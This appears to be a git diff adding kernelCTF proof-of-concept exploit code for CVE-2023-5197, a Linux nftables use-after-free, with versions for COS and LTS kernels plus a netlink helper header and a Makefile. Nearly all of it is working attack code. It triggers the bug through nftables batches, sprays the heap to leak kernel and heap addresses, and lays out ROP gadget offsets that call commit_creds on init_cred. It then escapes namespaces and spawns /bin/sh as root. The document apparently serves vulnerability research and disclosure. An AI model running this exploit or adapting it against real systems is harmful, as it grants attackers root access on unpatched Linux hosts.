nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_4, NFTNL_RULE_CHAIN, chain4_name); + nftnl_rule_set_u32(rule_4, NFTNL_RULE_FAMILY, family); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + int ret; + char read_data[0x1000] = {0,}; + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_4); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (triggering the vulnerability) + usleep(100*1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain3); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free Victim chain3) + usleep(100*1000); + + // leak kaslr + for(int i = 0 ; i < SET_SPRAY; i++) + spray_set_last_expr(i); + + struct nftnl_rule *rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_DUMP | NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x400); + + if (ret > 0) { + nft_last_ops = *(unsigned long*) &read_data[0x228]; + kbase = nft_last_ops - nft_last_ops_off; + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + } + + printf("[*] kbase %lx nft_last_ops %lx\n", kbase, nft_last_ops); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain4); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free Victim chain4) + usleep(100*1000); + + char rule_data[0x400] = {0,}; + memset(rule_data, 'b', 0x400); + + struct nftnl_rule * rule_spray2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_spray2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_spray2, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_spray2, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_data(rule_spray2, NFTNL_RULE_USERDATA, rule_data, 96-25); + + memset(rule_data, 'c', 0x400); + + make_payload2((uint64_t*)(rule_data+7)); + + struct nftnl_rule * rule_spray = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_spray, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_spray, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_spray, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_data(rule_spray, NFTNL_RULE_USERDATA, rule_data, 192-25); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_spray2); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + for(int i = 0; i < 4; i++){ + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_spray); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } + + // Leak heap + memset(read_data, 0, 0x1000); + + rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, 0x9); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x400); + + if (ret > 0) { + heap_addr1 = *(unsigned long*) &read_data[0x78]; + heap_addr2 = *(unsigned long*) &read_data[0x70]; + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + } + + printf("[*] heap_addr %lx %lx\n", heap_addr1, heap_addr2); + + if((heap_addr1 & 0xffff000000000000) != 0xffff000000000000){ + printf("[-] heap leak failed..\n"); + return -1; + } + + // Spray ROP payload + struct nftnl_rule * rule_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_del, NFTNL_RULE_HANDLE, 0x13); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free rule in kmalloc-cg-96) + usleep(300*1000); + + struct nftnl_table * tables[TABLE_SPRAY] = {0,}; + + uint64_t *data_96 = malloc(1024); + + // spray nft_table->udata to kmalloc-cg-96 + make_payload(data_96); + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "st96_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_96, 96); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + uint64_t *data_64 = malloc(1024); + + int o = 0; + + data_64[o++] = heap_addr2; + data_64[o++] = 0; + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "st64_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_64, 64); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for unfinished work + usleep(100*1000); + + return 0; +} + +void netfilter(){ + save_state(); + + while(1){ + new_ns(); + net_if("lo", -1, IFF_UP, true); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); + + if(!trig()) break; + } + + printf("[*] ROP!!!\n"); + + int sfd = 0; + + /* Set up server at TRIG_PORT in a new process */ + sfd = fork(); + if(sfd == 0) { + setup_trig_server(); + exit(0); + } + + /* Trigger the network hook */ + trig_net_sock(); + + sleep(1); + + mnl_socket_close(nl); +} + +int main(int argc, char ** argv) +{ + new_ns(); + + net_if("lo", -1, IFF_UP, true); + + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } + + netfilter(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/netlink_utils.h b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/netlink_utils.h new file mode 100644 index 00000000..ce994bdf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/netlink_utils.h @@ -0,0 +1,229 @@ +/* + * Utils used to communicate with the kernel via Netlink. + * Useful for static linking. + */ + +#include +#include +#include +#include + +#define PAGE_SIZE 0x1000 +#define NL_AUTO_SEQ 0 +#define NL_AUTO_PID 0 + +void *nlmsg_tail(const struct nlmsghdr *msg) +{ + return (unsigned char *)msg + NLMSG_ALIGN(msg->nlmsg_len); +} + +void *nlmsg_data(const struct nlmsghdr *msg) +{ + return NLMSG_DATA(msg); +} + +int nlmsg_datalen(const struct nlmsghdr *msg) +{ + return msg->nlmsg_len - NLMSG_HDRLEN; +} + +struct nlmsghdr *nlmsg_alloc(void) +{ + struct nlmsghdr *msg; + + msg = calloc(1, 0x1000); + if (!msg) + return NULL; + + msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0)); + return msg; +} + +struct nlmsghdr *nlmsg_init(int type, int flags) +{ + struct nlmsghdr *msg; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + msg->nlmsg_type = type; + msg->nlmsg_flags = flags; + msg->nlmsg_seq = NL_AUTO_SEQ; + msg->nlmsg_pid = NL_AUTO_PID; + + return msg; +} + +void nlmsg_free(struct nlmsghdr *msg) +{ + free(msg); +} + +int nl_init_request(int type, struct nlmsghdr **msg, int flags) +{ + int sk; + struct nlmsghdr *n; + + sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sk < 0) + return -1; + + n = nlmsg_init(type, flags); + if (!n) { + close(sk); + return -1; + } + + *msg = n; + return sk; +} + +void *nlmsg_reserve(struct nlmsghdr *msg, size_t len, int pad) +{ + char *data = (char *)msg; + size_t tlen; + + tlen = NLMSG_ALIGN(len); + data += msg->nlmsg_len; + msg->nlmsg_len += tlen; + + if (tlen > len) + memset(data + len, 0, tlen - len); + + return data; +} + +int nlmsg_append(struct nlmsghdr *msg, void *data, size_t len, int pad) +{ + void *tmp; + + tmp = nlmsg_reserve(msg, len, pad); + if (tmp == NULL) + return -1; + + memcpy(tmp, data, len); + return 0; +} + +int nl_sendmsg(int sk, struct nlmsghdr *msg) +{ + struct iovec iov = {}; + struct msghdr hdr = {}; + + if (sk < 0) + return -1; + + iov.iov_base = (void *)msg; + /* + * Here add NLMSG_GOODSIZE (0xec0) to the total message length + * to be sure the msg in netlink_alloc_large_skb() is allocated using vmalloc(): + * https://elixir.bootlin.com/linux/v6.1/source/net/netlink/af_netlink.c#L1190 + * Useful to reduce noise in kmalloc-512 slabs. + */ + iov.iov_len = msg->nlmsg_len + 0xec0; + + hdr.msg_name = NULL; + hdr.msg_namelen = sizeof(struct sockaddr_nl); + hdr.msg_iov = &iov; + hdr.msg_iovlen = 1; + + return sendmsg(sk, &hdr, 0); +} + +int nl_complete_request(int sock, struct nlmsghdr *msg) +{ + int ret; + + ret = nl_sendmsg(sock, msg); + nlmsg_free(msg); + close(sock); + + return ret; +} + +void *nla_data(const struct nlattr *nla) +{ + return (char *)nla + NLA_HDRLEN; +} + +int nla_attr_size(int payload) +{ + return NLA_HDRLEN + payload; +} + +int nla_total_size(int payload) +{ + return NLA_ALIGN(nla_attr_size(payload)); +} + +int nla_padlen(int payload) +{ + return nla_total_size(payload) - nla_attr_size(payload); +} + +struct nlattr *nla_reserve(struct nlmsghdr *msg, int attrtype, int attrlen) +{ + struct nlattr *nla; + + nla = (struct nlattr *)nlmsg_tail(msg); + nla->nla_type = attrtype; + nla->nla_len = nla_attr_size(attrlen); + + memset((unsigned char *) nla + nla->nla_len, 0, nla_padlen(attrlen)); + + msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + nla_total_size(attrlen); + return nla; +} + +int nla_put(struct nlmsghdr *msg, int attrtype, int datalen, const void *data) +{ + struct nlattr *nla; + + nla = nla_reserve(msg, attrtype, datalen); + if (!nla) + return -1; + + memcpy(nla_data(nla), data, datalen); + return 0; +} + +int nla_put_u32(struct nlmsghdr *msg, int attrtype, uint32_t value) +{ + return nla_put(msg, attrtype, sizeof(uint32_t), &value); +} + +int nla_put_string(struct nlmsghdr *msg, int attrtype, const char *str) +{ + return nla_put(msg, attrtype, strlen(str) + 1, str); +} + +int nla_put_nested(struct nlmsghdr *msg, int attrtype, const struct nlmsghdr *nested) +{ + return nla_put(msg, attrtype, nlmsg_datalen(nested), nlmsg_data(nested)); +} + +struct nlattr *nla_nest_start(struct nlmsghdr *msg, int attrtype) +{ + struct nlattr *start = (struct nlattr *)nlmsg_tail(msg); + + if (nla_put(msg, NLA_F_NESTED | attrtype, 0, NULL) < 0) + return NULL; + + return start; +} + +int nla_nest_end(struct nlmsghdr *msg, struct nlattr *start) +{ + size_t pad, len; + + len = (char *)nlmsg_tail(msg) - (char *)start; + start->nla_len = len; + + pad = NLMSG_ALIGN(msg->nlmsg_len) - msg->nlmsg_len; + if (pad > 0) { + if (!nlmsg_reserve(msg, pad, 0)) + return -1; + } + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/Makefile b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/Makefile new file mode 100644 index 00000000..7ff4939e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/Makefile @@ -0,0 +1,39 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static -s + +exploit: + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libmnl-build libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/exploit b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/exploit new file mode 100755 index 00000000..7c944eee Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/exploit.c b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/exploit.c new file mode 100644 index 00000000..e912b0cb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/exploit.c @@ -0,0 +1,846 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "netlink_utils.h" + +uint64_t find_task_by_vpid_off = 0x1b64f0; +uint64_t switch_task_namespaces_off = 0x1be070; +uint64_t commit_creds_off = 0x1bfc00; +uint64_t init_nsproxy_off = 0x26765c0; +uint64_t init_cred_off = 0x2676800; +uint64_t swapgs_restore_regs_and_return_to_usermode_off = 0x1201146; +uint64_t nft_counter_ops_off = 0x1b2ad80; + +// 0xffffffff81f8bbe9 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404c20 +// 0xffffffff81048952 : pop rdi ; jmp 0xffffffff82404c20 +// 0xffffffff810b8991 : pop rsi ; jmp 0xffffffff82404c20 +// 0xffffffff816daf6a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404c20 +// 0xffffffff81037330 : add rax, rsi ; jmp 0xffffffff82404c20 +// 0xffffffff82048960 : pop rcx ; jmp 0xffffffff82404c20 +// 0xffffffff8172e25b : mov qword ptr [rax], rcx ; jmp 0xffffffff82404c20 +// 0xffffffff81138949 : pop rsp ; jmp 0xffffffff82404c20 + +uint64_t push_rbx_pop_rsp = 0xf8bbe9; +uint64_t pop_rdi_ret = 0x048952; +uint64_t pop_rsi_ret = 0x0b8991; +uint64_t mov_rdi_rax_ret = 0x6daf6a; +uint64_t add_rax_rsi_ret = 0x037330; +uint64_t pop_rcx_ret = 0x1048960; +uint64_t mov_rax_rcx_ret = 0x72e25b; +uint64_t pop_rsp_ret = 0x138949; + +uint64_t nft_counter_ops = 0; +uint64_t kbase = 0; +uint64_t heap_addr1 = 0; +uint64_t heap_addr2 = 0; + +struct mnl_socket * nl; +uint32_t portid; + +void write_file(const char *filename, char *text) { + + int fd = open(filename, O_RDWR | O_CREAT); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +/* + * Add a network interface. + * Equivalent to `ip link add ...`. + */ +int net_if(char *type, int n, int opt, bool change) { + + struct nlmsghdr *msg; + struct nlattr *opts; + struct ifinfomsg ifinfo = {}; + char name[0x100] = { 0 }; + int sk; + + strcpy(name, type); + + if (n >= 0) + snprintf(name, sizeof(name), "%s-%d", type, n); + + // Initalize a netlink socket and allocate a nlmsghdr + sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE); + if (!sk) { + perror("nl_init_request()"); + return -1; + } + + ifinfo.ifi_family = AF_UNSPEC; + ifinfo.ifi_type = PF_NETROM; + ifinfo.ifi_index = 0; + ifinfo.ifi_flags = opt; + ifinfo.ifi_change = change ? 1 : 0; + + nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO); + + nla_put_string(msg, IFLA_IFNAME, name); + opts = nla_nest_start(msg, IFLA_LINKINFO); + nla_put_string(msg, IFLA_INFO_KIND, type); + nla_nest_end(msg, opts); + + // Send the netlink message and deallocate resources + return nl_complete_request(sk, msg); +} + +void pwn(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char *args[] = {"/bin/sh", NULL}; + execve("/bin/sh", args, NULL); + + exit(0); +} + +uint64_t _user_rip = (uint64_t) pwn; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +#define TRIG_HOST "127.0.0.1" +#define TRIG_PORT 1337 + +/* Connect to a server in a specific port to trigger netfilter hooks */ +void trig_net_sock(void) { + int sockfd = 00; + struct sockaddr_in servaddr, cli; + + bzero(&servaddr, sizeof(servaddr)); + bzero(&cli, sizeof(cli)); + + printf("[*] Connecting to 127.0.0.1:%d...\n", TRIG_PORT); + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if(sockfd == -1) + printf("[-] Socket creation failed"); + + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST); + servaddr.sin_port = htons(TRIG_PORT); + + if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0) + printf("[-] Connection with server failed"); + + write(sockfd, "AAAA", 4); + + close(sockfd); + + return; +} + +/* Set up a server to receive hook-triggering output packets */ +void setup_trig_server(void) { + int sfd = 0, sock = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = { 0 }; + + if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + printf("[-] Error at socket()"); + + if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) + printf("[-] Error at setsockopt()"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(TRIG_PORT); + + if(bind(sfd, (struct 